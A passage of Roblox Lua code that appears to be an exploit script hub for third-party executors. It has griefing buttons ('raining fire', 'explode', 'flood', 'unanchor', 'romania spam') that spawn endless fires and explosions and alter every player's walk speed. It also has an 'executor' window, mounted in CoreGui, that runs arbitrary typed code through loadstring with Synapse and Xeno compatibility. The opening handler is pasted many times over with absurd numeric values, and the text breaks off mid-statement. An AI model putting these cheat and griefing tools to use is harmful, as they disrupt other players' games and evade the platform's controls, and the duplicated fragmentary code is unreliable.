script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
end;
task.spawn(C_32);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_34()
local script = G2L["34"];
script.Parent.MouseButton1Click:Connect(function()
local Lighting = game:GetService("Lighting")
local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting)
function zigzag(X)
return math.acos(math.cos(X*math.pi))/math.pi
end
Counter = 0
Lighting.TimeOfDay = "15:00"
while wait(0.01) do
ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1)
Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1)
Counter += 0.01
end
end)
end;
task.spawn(C_34);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_36()
local script = G2L["36"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.RemoteEvent:FireServer()
end)
end;
task.spawn(C_36);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_3a()
local script = G2L["3a"];
script.Parent.MouseButton1Down:Connect(function()
while true do
explosion = Instance.new("Explosion")
explosion.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
explosion.Parent = game.Workspace
wait()
end
end)
end;
task.spawn(C_3a);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_3c()
local script = G2L["3c"];
script.Parent.MouseButton1Down:Connect(function()
for i,p in pairs(game:GetService("Players"):GetChildren()) do
if p.ClassName == "Player" then
p.Character:FindFirstChildOfClass("Humanoid").WalkSpeed += 25
end
end
end)
end;
task.spawn(C_3c);
-- StarterGui.ScreenGui.Frame.LocalScript
local function C_3d()
local script = G2L["3d"];
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end;
task.spawn(C_3d);
return G2L["1"], require;
end,
})
local Button = MainTab:CreateButton({
Name = "znc executor",
Callback = function()
-- Modern Executer GUI Script
-- This script creates a draggable GUI named "Modern Executer" compatible with Xeno Executor
-- Create ScreenGui
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "znc_13 executor"
screenGui.ResetOnSpawn = false
screenGui.Parent = game:GetService("CoreGui") -- CoreGui to ensure executor compatibility
-- Create main frame
local mainFrame = Instance.new("Frame")
mainFrame.Name = "MainFrame"
mainFrame.Size = UDim2.new(0, 400, 0, 250)
mainFrame.Position = UDim2.new(0.5, -200, 0.5, -125)
mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui
-- Create title bar
local titleBar = Instance.new("Frame")
titleBar.Name = "TitleBar"
titleBar.Size = UDim2.new(1, 0, 0, 30)
titleBar.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
titleBar.Parent = mainFrame
-- Title text
local titleLabel = Instance.new("TextLabel")
titleLabel.Name = "TitleLabel"
titleLabel.Size = UDim2.new(1, -10, 1, 0)
titleLabel.Position = UDim2.new(0, 10, 0, 0)
titleLabel.BackgroundTransparency = 1
titleLabel.Text = "znc_13 Executer"
titleLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
titleLabel.Font = Enum.Font.GothamBold
titleLabel.TextSize = 18
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.Parent = titleBar
-- Close button
local closeButton = Instance.new("TextButton")
closeButton.Name = "CloseButton"
closeButton.Size = UDim2.new(0, 30, 1, 0)
closeButton.Position = UDim2.new(1, -30, 0, 0)
closeButton.BackgroundColor3 = Color3.fromRGB(200, 50, 50)
closeButton.Text = "X"
closeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
closeButton.Font = Enum.Font.GothamBold
closeButton.TextSize = 18
closeButton.Parent = titleBar
closeButton.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
-- TextBox for script input
local scriptBox = Instance.new("TextBox")
scriptBox.Name = "ScriptBox"
scriptBox.Size = UDim2.new(1, -20, 1, -70)
scriptBox.Position = UDim2.new(0, 10, 0, 40)
scriptBox.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
scriptBox.TextColor3 = Color3.fromRGB(255, 255, 255)
scriptBox.Font = Enum.Font.Code
scriptBox.TextSize = 14
scriptBox.ClearTextOnFocus = false
scriptBox.MultiLine = true
scriptBox.TextWrapped = true
scriptBox.Parent = mainFrame
-- Execute button
local executeButton = Instance.new("TextButton")
executeButton.Name = "ExecuteButton"
executeButton.Size = UDim2.new(0, 100, 0, 25)
executeButton.Position = UDim2.new(1, -110, 1, -30)
executeButton.BackgroundColor3 = Color3.fromRGB(70, 130, 180)
executeButton.Text = "Execute"
executeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
executeButton.Font = Enum.Font.GothamBold
executeButton.TextSize = 16
executeButton.Parent = mainFrame
-- Draggable functionality
local UserInputService = game:GetService("UserInputService")
local dragging
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
mainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end
titleBar.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
dragStart = input.Position
startPos = mainFrame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
titleBar.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if dragging and input == dragInput then
update(input)
end
end)
-- Execute script with Xeno Executor compatibility
executeButton.MouseButton1Click:Connect(function()
local scriptText = scriptBox.Text
if syn and syn.request then
-- Synapse compatibility (Xeno is Synapse-based)
local func, err = loadstring(scriptText)
if func then
coroutine.wrap(func)()
else
warn("Script error: "..err)
end
else
-- Fallback for other environments
local func, err = loadstring(scriptText)
if func then
coroutine.wrap(func)()
else
warn("Script error: "..err)
end
end
end)
end,
})
local Button = MainTab:CreateButton({
Name = "my script",
Callback = function()
--[=[
d888b db db d888888b .d888b. db db db .d8b.
88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
88 88 88 88 odD' 88 88 88 88ooo88
88 ooo 88 88 88 .88' 88 88 88 88~~~88
88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
]=]
-- Instances: 36 | Scripts: 16 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
-- StarterGui.ScreenGui.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 4;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(75, 75, 75);
G2L["2"]["Size"] = UDim2.new(0, 451, 0, 290);
G2L["2"]["Position"] = UDim2.new(0.27123, 0, 0.26307, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["BackgroundTransparency"] = 0.4;
-- StarterGui.ScreenGui.Frame.TextButton
G2L["3"] = Instance.new("TextButton", G2L["2"]);
G2L["3"]["BorderSizePixel"] = 0;
G2L["3"]["TextSize"] = 14;
G2L["3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3"]["BackgroundTransparency"] = 0.2;
G2L["3"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["Text"] = [[1x1x1x1 gui]];
G2L["3"]["Position"] = UDim2.new(0.71489, 0, 0.84162, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["4"] = Instance.new("LocalScript", G2L["3"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["5"] = Instance.new("TextButton", G2L["2"]);
G2L["5"]["BorderSizePixel"] = 0;
G2L["5"]["TextSize"] = 14;
G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5"]["BackgroundTransparency"] = 0.2;
G2L["5"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["Text"] = [[theme music]];
G2L["5"]["Position"] = UDim2.new(0.37129, 0, 0.8393, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["6"] = Instance.new("LocalScript", G2L["5"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["7"] = Instance.new("TextButton", G2L["2"]);
G2L["7"]["BorderSizePixel"] = 0;
G2L["7"]["TextSize"] = 14;
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["BackgroundTransparency"] = 0.2;
G2L["7"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["Text"] = [[skeleton sky]];
G2L["7"]["Position"] = UDim2.new(0.03875, 0, 0.83651, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["8"] = Instance.new("LocalScript", G2L["7"]);
-- StarterGui.ScreenGui.Frame.LocalScript
G2L["9"] = Instance.new("LocalScript", G2L["2"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["a"] = Instance.new("TextButton", G2L["2"]);
G2L["a"]["BorderSizePixel"] = 0;
G2L["a"]["TextSize"] = 14;
G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a"]["BackgroundTransparency"] = 0.2;
G2L["a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["Text"] = [[romania spam]];
G2L["a"]["Position"] = UDim2.new(0.71445, 0, 0.65559, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["b"] = Instance.new("LocalScript", G2L["a"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["c"] = Instance.new("TextButton", G2L["2"]);
G2L["c"]["BorderSizePixel"] = 0;
G2L["c"]["TextSize"] = 14;
G2L["c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c"]["BackgroundTransparency"] = 0.2;
G2L["c"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["Text"] = [[flood]];
G2L["c"]["Position"] = UDim2.new(0.37081, 0, 0.65534, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["d"] = Instance.new("LocalScript", G2L["c"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["e"] = Instance.new("TextButton", G2L["2"]);
G2L["e"]["BorderSizePixel"] = 0;
G2L["e"]["TextSize"] = 14;
G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["BackgroundTransparency"] = 0.2;
G2L["e"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["Text"] = [[666]];
G2L["e"]["Position"] = UDim2.new(0.03714, 0, 0.65454, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["f"] = Instance.new("LocalScript", G2L["e"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["10"] = Instance.new("TextButton", G2L["2"]);
G2L["10"]["BorderSizePixel"] = 0;
G2L["10"]["TextSize"] = 14;
G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["BackgroundTransparency"] = 0.2;
G2L["10"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["Text"] = [[theme music]];
G2L["10"]["Position"] = UDim2.new(0.71276, 0, 0.48413, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["11"] = Instance.new("LocalScript", G2L["10"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["12"] = Instance.new("TextButton", G2L["2"]);
G2L["12"]["BorderSizePixel"] = 0;
G2L["12"]["TextSize"] = 14;
G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["BackgroundTransparency"] = 0.2;
G2L["12"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["Text"] = [[T7B3RS93 sound]];
G2L["12"]["Position"] = UDim2.new(0.03544, 0, 0.48106, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["13"] = Instance.new("LocalScript", G2L["12"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["14"] = Instance.new("TextButton", G2L["2"]);
G2L["14"]["BorderSizePixel"] = 0;
G2L["14"]["TextSize"] = 14;
G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["BackgroundTransparency"] = 0.2;
G2L["14"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["Text"] = [[explode]];
G2L["14"]["Position"] = UDim2.new(0.03365, 0, 0.32264, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["14"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["16"] = Instance.new("TextButton", G2L["2"]);
G2L["16"]["BorderSizePixel"] = 0;
G2L["16"]["TextSize"] = 14;
G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16"]["BackgroundTransparency"] = 0.2;
G2L["16"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["Text"] = [[raining fire]];
G2L["16"]["Position"] = UDim2.new(0.03522, 0, 0.16733, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["17"] = Instance.new("LocalScript", G2L["16"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["18"] = Instance.new("TextButton", G2L["2"]);
G2L["18"]["BorderSizePixel"] = 0;
G2L["18"]["TextSize"] = 14;
G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18"]["BackgroundTransparency"] = 0.2;
G2L["18"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["Text"] = [[unanchor]];
G2L["18"]["Position"] = UDim2.new(0.37164, 0, 0.16499, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["19"] = Instance.new("LocalScript", G2L["18"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["1a"] = Instance.new("TextButton", G2L["2"]);
G2L["1a"]["BorderSizePixel"] = 0;
G2L["1a"]["TextSize"] = 14;
G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a"]["BackgroundTransparency"] = 0.2;
G2L["1a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["Text"] = [[ball rain]];
G2L["1a"]["Position"] = UDim2.new(0.71094, 0, 0.16456, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1b"] = Instance.new("LocalScript", G2L["1a"]);
-- StarterGui.ScreenGui.Frame.TextLabel
G2L["1c"] = Instance.new("TextLabel", G2L["2"]);
G2L["1c"]["BorderSizePixel"] = 0;
G2L["1c"]["TextSize"] = 14;
G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32);
G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c"]["Size"] = UDim2.new(0, 241, 0, 25);
G2L["1c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["Text"] = [[Gui made by: Lucas_cubing10]];
G2L["1c"]["Position"] = UDim2.new(0.25805, 0, -0.00299, 0);
-- StarterGui.ScreenGui.Frame.TextLabel.UICorner
G2L["1d"] = Instance.new("UICorner", G2L["1c"]);
G2L["1d"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.ScreenGui.Frame.ImageLabel
G2L["1e"] = Instance.new("ImageLabel", G2L["2"]);
G2L["1e"]["BorderSizePixel"] = 0;
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["1e"]["Image"] = [[rbxassetid://124868710717730]];
G2L["1e"]["Size"] = UDim2.new(0, 187, 0, 123);
G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["BackgroundTransparency"] = 1;
G2L["1e"]["Position"] = UDim2.new(0.29453, 0, -0.42891, 0);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["1f"] = Instance.new("TextButton", G2L["2"]);
G2L["1f"]["BorderSizePixel"] = 0;
G2L["1f"]["TextSize"] = 14;
G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f"]["BackgroundTransparency"] = 0.2;
G2L["1f"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["Text"] = [[rainbow all]];
G2L["1f"]["Position"] = UDim2.new(0.37378, 0, 0.32078, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["20"] = Instance.new("LocalScript", G2L["1f"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["21"] = Instance.new("TextButton", G2L["2"]);
G2L["21"]["BorderSizePixel"] = 0;
G2L["21"]["TextSize"] = 14;
G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["21"]["BackgroundTransparency"] = 0.2;
G2L["21"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["Text"] = [[disco]];
G2L["21"]["Position"] = UDim2.new(0.71383, 0, 0.31788, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["22"] = Instance.new("LocalScript", G2L["21"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["23"] = Instance.new("TextButton", G2L["2"]);
G2L["23"]["TextWrapped"] = true;
G2L["23"]["BorderSizePixel"] = 0;
G2L["23"]["TextSize"] = 14;
G2L["23"]["TextScaled"] = true;
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
